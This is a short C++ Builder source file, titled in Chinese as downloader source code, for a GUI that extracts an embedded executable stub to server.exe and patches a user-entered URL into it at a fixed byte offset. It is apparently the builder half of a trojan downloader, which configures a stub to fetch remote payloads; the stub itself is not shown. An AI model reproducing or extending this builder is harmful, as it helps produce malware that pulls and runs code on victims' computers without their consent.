main.cpp

c++写得下载者源码

//---------------------------------------------------------------------------

#include <vcl.h>
#pragma hdrstop

#include "main.h"
//---------------------------------------------------------------------------
#pragma package(smart_init)
#pragma link "SUIButton"
#pragma link "SUIEdit"
#pragma link "SUIForm"
#pragma resource "*.dfm"
TForm1 *Form1;
//---------------------------------------------------------------------------
__fastcall TForm1::TForm1(TComponent* Owner)
        : TForm(Owner)
{
}
//---------------------------------------------------------------------------


void __fastcall TForm1::suitempbtn2Click(TObject *Sender)
{  //资源文件的操作
   HRSRC hResInfo=FindResource(HInstance,"downvc","EXEFILE");
   if(hResInfo==Null)
   {
       ShowMessage("sibai1");
       return;
   }
  DWORD dwsize=SizeofResource(HInstance,hResInfo);
  //大小小了奇怪 ；
 // mmo1->Lines->Add(dwsize);
  HGLOBAL hResData=LoadResource(HInstance,hResInfo);
  TMemoryStream *mstream=new TMemoryStream();
  mstream->Write((LPCVOID)LockResource(hResData),dwsize);
  mstream->SaveToFile("server.exe");
  mstream->Free();


   TFileStream *file=new TFileStream("server.exe",fmOpenReadWrite);
   file->Seek(20568,0);

   char b[255]="http://";
   strcpy(b,edt2->Text.c_str());
   file->Write(b,120);


   //mmo1->Lines->Add(c);
   file->Free();
}
//---------------------------------------------------------------------------
void __fastcall TForm1::suitempbtn1Click(TObject *Sender)
{
   Close();        
}
//---------------------------------------------------------------------------